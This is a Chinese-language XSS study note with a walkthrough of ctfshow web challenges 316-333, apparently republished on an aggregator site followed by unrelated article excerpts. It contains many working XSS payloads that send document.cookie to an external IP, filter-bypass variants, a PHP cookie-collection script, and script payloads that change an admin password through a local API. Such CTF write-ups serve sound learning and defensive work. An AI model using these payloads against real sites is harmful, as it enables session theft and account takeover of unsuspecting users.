xss复习总结及ctfshow做题总结xss

xss复习总结

知识点

1.XSS 漏洞简介

​ XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

​ xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.

2.XSS的原理

攻击者对含有漏洞的服务器发起XSS攻击(注入JS代码)。

诱使受害者打开受到攻击的服务器URL。

受害者在Web浏览器中打开URL,恶意脚本执行。

3.XSS的攻击方式

反射型XSS:<非持久化> 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。一般是后端代码进行处理

存储型XSS:<持久化> 代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS非常危险,容易造成蠕虫,大量盗窃cookie(虽然还有种DOM型XSS,但是也还是包括在存储型XSS内)。

DOM型XSS:基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。

4.XSS的危害

1.挂马

2.盗取用户Cookie。

3.DOS(拒绝服务)客户端浏览器。

4.钓鱼攻击,高级的钓鱼技巧。

5.删除目标文章、恶意篡改数据、嫁祸。

6.劫持用户Web行为,甚至进一步渗透内网。

7.爆发Web2.0蠕虫。

8.蠕虫式的DDoS攻击。

9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

10.其它安全问题

5.XSS的利用方式

1.需要一个xss平台来收集cookie

2. 对于反射型xss可构造链接,当用户点击时,用户cookie被发送到xss平台

3. 窃取用户cooike之后加以利用

可以基于xss平台进行利用

思维导图

漏洞概述

漏洞分类

防御

示例ctfshow

反射型(316-326)

316

写入<script>alert('1');</script>,可以弹框

本地服务器接受xss触发的cookie

<?php

echo 'hello';

if(isset($_GET['cookie'])) {

    $cookie = $_GET['cookie'];

    

    // 过滤和清理用户输入

    $cookie = htmlspecialchars($cookie); // 过滤特殊字符

    // 其他可能的过滤和验证

    // 写入文件

    $myfile = fopen('cookie.txt', 'a');

    if ($myfile !== false) {

        fwrite($myfile, $cookie."\n");

        fclose($myfile);

        echo 'Cookie 已成功写入文件。';

    } else {

        echo '无法打开文件进行写入。';

    }

} else {

    echo '未提供 cookie 数据。';

}

?>

<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

服务器接受成功

PHPSESSID=mmp10nlblsrf6lm1mhgvrrnr4v; flag=ctfshow{6b0e3e74-33cf-46f9-860f-b482350a15ab}

317

过滤掉了script,可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=p5080si0q6no6arse5ohqsn9i6; flag=ctfshow{7b5527bf-40ce-4c7a-9b60-7b5e90536e35}

318

使用onload+body 标签

姿势:

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

可以使用onload+svg标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

PHPSESSID=i451q1hknod0tu85ns14bsbe9i; flag=ctfshow{cd22ca42-f597-454c-99d9-e6a34d72adb2}

319

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

PHPSESSID=4v9o95apn13jh1v0olsd4n95cn; flag=ctfshow{642da7b3-a0df-43fe-8b64-758f2c14b4d7}

320

空格过滤了 过滤了script,img,空格

/绕过空格

Iframe标签

<svg/οnlοad="window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie">

PHPSESSID=ucoi08m9uacje2uj026alrdigt; flag=ctfshow{08fc1a0f-9bf6-49e9-a1ed-27fada2cb476}

321-326

这些关卡可以用以前关卡的姿势触发xss

空格可以用  /   或/**/绕过

iframe 标签

<iframe οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)"></iframe>

body标签

<body οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

input标签

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

script标签

<script>window.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie</script>

svg 标签

<svg οnlοad="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)">

327

内容写入

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script>

<input οnfοcus="window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)" autofocus>

<body οnlοad="document.location.href='http://8.130.28.124/cookie.php?cookie='+document.cookie"></body>

返回网络繁忙

328

账号:aa

密码:

<script>window.open('http://8.130.28.124/cookie.php?cookie='+document.cookie)</script> 

修改cookie值

329

和web328一样 发现管理员cookie是随时变的 后端设置就是访问后cookie立马失效

随便注册一个用户

查看页面信息密码中的标签信息

layui-table-cell laytable-cell-1-0-1

在注册一个用户

密码:

<script>

$('.laytable-cell-1-0-1').each(function(index,value){

    if(value.innerHTML.indexOf('ctf'+'show{')>-1){

        window.location.href='http://8.130.28.124/cookie.php?cookie='+value.innerHTML;

    }

});

</script>

330

Bp抓取修改密码的数据包

再注册

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

window.location.href 表示当前页面的 URL 地址 设置的新 URL 是 'http://127.0.0.1/api/change?p=123',它是一个 API 的地址,其中 p 参数的值为 123 当浏览器加载这个 JavaScript 脚本时,它会立即将当前页面重定向到该 API 地址,并带上参数 p=123。在重定向完成后,页面将会显示 API 返回的内容 管理员访问的肯定是本地的api接口 所以用127.0.0.1

这个js脚本作为密码 随便创建一个用户 (题目默认BOT会隔一段时间访问账号密码页面 从而实现了管理员点击事件)

331

Bp抓取修改密码的数据包

是post请求

请求模板

var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象

httpRequest.open('POST', 'url', true); //第二步:打开连接

httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)

httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中

/**

* 获取数据后的处理程序

*/

httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中

    if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功

        var json = httpRequest.responseText;//获取到服务端返回的数据

        console.log(json);

    }

};

构造

<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>


ctfshow{4e99b8d9-a969-4940-82ab-3e23777b46d1}

332

逻辑漏洞

转账负数

333

这次加了一点限制,就是转出的金额的绝对值不能比余额大,就是多转几次。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/46851.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软考从报考到拿到证书的过程

一、报考阶段及参加考试阶段 这个阶段可以留意软考官网的的信息&#xff0c;一般上半年是3月份报名、5月份考试&#xff1b;下半年是8月份报名、11月份考试。以下是这个阶段会用到的链接&#xff0c;保持关注就好。 软考官网&#xff1a;中国计算机技术职业资格网 (ruankao.o…

六、 SpringBoot 配置⽂件 ★ ✔【value的引号注意事项、@ConfigurationProperties 、】

六、 SpringBoot 配置⽂件 本节⽬标1. 配置⽂件作⽤2. 配置⽂件快速⼊⼿3. 配置⽂件的格式4. properties 配置⽂件说明4.1 properties 基本语法4.2 读取配置⽂件4.3 properties 缺点分析 5. yml 配置⽂件说明5.1 yml 基本语法5.2 yml 使⽤进阶5.2.1 yml 配置不同数据类型及 nul…

Git简要笔记

Git是一个分布式版本控制系统&#xff0c;用于跟踪文件的变化并协调多人协作开发。它提供了一种管理和追踪代码变化的方式&#xff0c;以便团队成员可以同时进行工作&#xff0c;轻松地合并和管理他们的代码。 Git的基本概念包括&#xff1a; 仓库&#xff08;Repository&…

【GD32】从零开始学GD32单片机 | WDGT看门狗定时器+独立看门狗和窗口看门狗例程(GD32F470ZGT6)

1. 简介 看门狗从本质上来说也是一个定时器&#xff0c;它是用来监测硬件或软件的故障的&#xff1b;它的工作原理大概就是开启后内部定时器会按照设置的频率更新&#xff0c;在程序运行过程中我们需不断地重装载看门狗&#xff0c;以使它不溢出&#xff1b;如果硬件或软件发生…

Vue实现滚动元素始终固定在最底部

1. 应用场景——聊天 在聊天的时候&#xff0c;展示聊天内容的元素是可以滚动的&#xff0c;通过上下滚动来查看过往消息。不过在首次打开聊天页面以及发送新消息时需要固定在滚动的最底部以及时展示最新的消息&#xff0c;这样才能获得比较好的用户体验。 效果&#xff1a; …

C++——类和对象(下)

文章目录 一、再探构造函数——初始化列表二、 类型转换三、static成员静态成员变量静态成员函数 四、 友元友元函数友元类 五、内部类六、匿名对象 一、再探构造函数——初始化列表 之前我们实现构造函数时&#xff0c;初始化成员变量主要使⽤函数体内赋值&#xff0c;构造函…

【C语言】移位操作详解 - 《凌波微步 ! 》

目录 C语言移位操作 (Bitwise Shift Operators) 详解1. 移位操作符概述1.1 左移操作符 (<<)1.2 右移操作符 (>>) 2. 使用示例2.1 左移操作符示例2.2 右移操作符示例2.3 有符号和无符号右移 3. 注意事项3.1 超出位数范围的移位3.2 移位操作的性能 4. 移位操作的应用…

PostgreSQL使用(二)

说明&#xff1a;本文介绍PostgreSQL的DML语言&#xff1b; 插入数据 -- 1.全字段插入&#xff0c;字段名可以省略 insert into tb_student values (1, 张三, 1990-01-01, 88.88);-- 2.部分字段插入&#xff0c;字段名必须写全 insert into tb_student (id, name) values (2,…

【后端开发实习】用Redis实现消息队列邮件发送

简介 用Resi本身封装的方法相比于调redis-smq库&#xff0c;实现方式就要简单朴素很多&#xff1a; 调用redis本身的List数据结构的Lpush实现消息的进队。用Redis的List数据结构的brpop方法实现消息的出队。将出队消息通过邮件方法发送给指定的用户。 生动形象理解就是用redi…

《javeEE篇》--多线程(1)

进程 在讲线程之前我们先来简单了解一下进程 什么是进程 进程是操作系统对一个正在运行的程序的一种抽象&#xff0c;又或者说&#xff0c;可以把进程看作程序的一次运行过程(通俗的讲就是跑起来的程序)。 而且在操作系统内部&#xff0c;进程是资源分配的基本单位 PCB P…

python实例练习00001:使用正则表达式获取文件内容

print(Hello World!) import re try:file = input(enter the file :)with open(file, r) as f:data = f.read() except FileNotFoundError:print(fthe file {file} does not exists:)# 定义正则表达式 pattern = r"num (\d+) name (\w+) class (\d+) age (\d+)" # 使…

Python 是一种用途广泛的编程语言,应用于各个领域

1. 网络和互联网开发: Python 拥有丰富的框架和库&#xff0c;使其成为 Web 开发的理想选择。 框架: Django 和 Pyramid 用于构建复杂的 Web 应用。Flask 和 Bottle 则适合轻量级应用和 API。 库: Python 标准库支持处理 HTML、XML、JSON 和电子邮件。此外&#xff0c;还有强大…

内容长度不同的div如何自动对齐展示

平时我们经常会遇到页面内容div结构相同页&#xff0c;这时为了美观我们会希望div会对齐展示&#xff0c;但当div里的文字长度不一时又不想写固定高度&#xff0c;就会出现div长度长长短短&#xff0c;此时实现样式可以这样写&#xff1a; .e-commerce-Wrap {display: flex;fle…

轻量级自适用商城卡密发卡源码(可运营)

一款全开源非常好看的发卡源码。轻量级自适应个人自助发卡简介&#xff0c;这是一款二次开发的发卡平台源码修复原版bug,删除无用的代码。所有文件全部解密&#xff0c;只保留后台版权信息内容。大家放心使用&#xff0c;可以用于商业运营。轻量级自适应个人自助发卡。 源码下…

R语言学习笔记7-列表

R语言学习笔记7-列表 列表(list)介绍空列表包含元素的列表嵌套列表访问列表元素添加新元素删除元素修改元素使用for循环遍历列表使用lapply遍历和操作列表使用sapply简化列表操作合并列表检查元素是否存在列表长度和名称操作将列表转换为其他数据类型列表与环境的交互列表在函数…

写python代码,怎么用工厂模式思维设计接口?

接口的好处 接口就是抽象方法&#xff0c;用来设计后架构&#xff0c;后端开发者和客户端调用者都可以使用这个接口规则同步写代码&#xff0c;客户端调用者&#xff08;app、网页甚至时自动化接口测试&#xff09;不用担心后端对接口的实现细节具体是什么样子的。直接去调用就…

QTimer::singleShot()

QTimer::singleShot() 是 Qt 框架中的一个静态函数&#xff0c;用于创建一个单次定时器事件。它的作用是在指定的时间间隔之后触发一个单次的定时器事件&#xff0c;然后停止定时器。 其函数原型为&#xff1a; static void QTimer::singleShot(int msec, const QObject *rec…

获取欧洲时报中国板块前新闻数据(多线程版)

这里写目录标题 一.数据获取流程二.获取主页面数据并提取出文章url三.获取文章详情页的数据并提取整体代码展示 一.数据获取流程 我们首先通过抓包就能够找到我们所需数据的api 这里一共有五个参数其中只有第一个和第五个参数是变化的第一个参数就是第几页第五个是一个由时…

STM32学习和实践笔记(40):DS18B20温度传感器实验

1.DS18B20介绍 DS18B20 是由 DALLAS 半导体公司推出的一种的“一线总线(单总线)”接口的温度传感器。与传统的热敏电阻等测温元件相比,它是一种新型的体积小、适用电压宽、与微处理器接口简单的数字化温度传感器。 DS18B20温度传感器具有如下特点: 1、适应电压范围更宽,…

Spring 的核心注解

Spring框架使用了一系列的核心注解来支持其功能&#xff0c;以下是一些最常用的Spring注解&#xff1a; 1. Component: - 用于标记类为Spring组件&#xff0c;Spring容器会管理这些类的对象。 2. Service: - 特定于服务层的Component注解&#xff0c;表示一个服务组件。…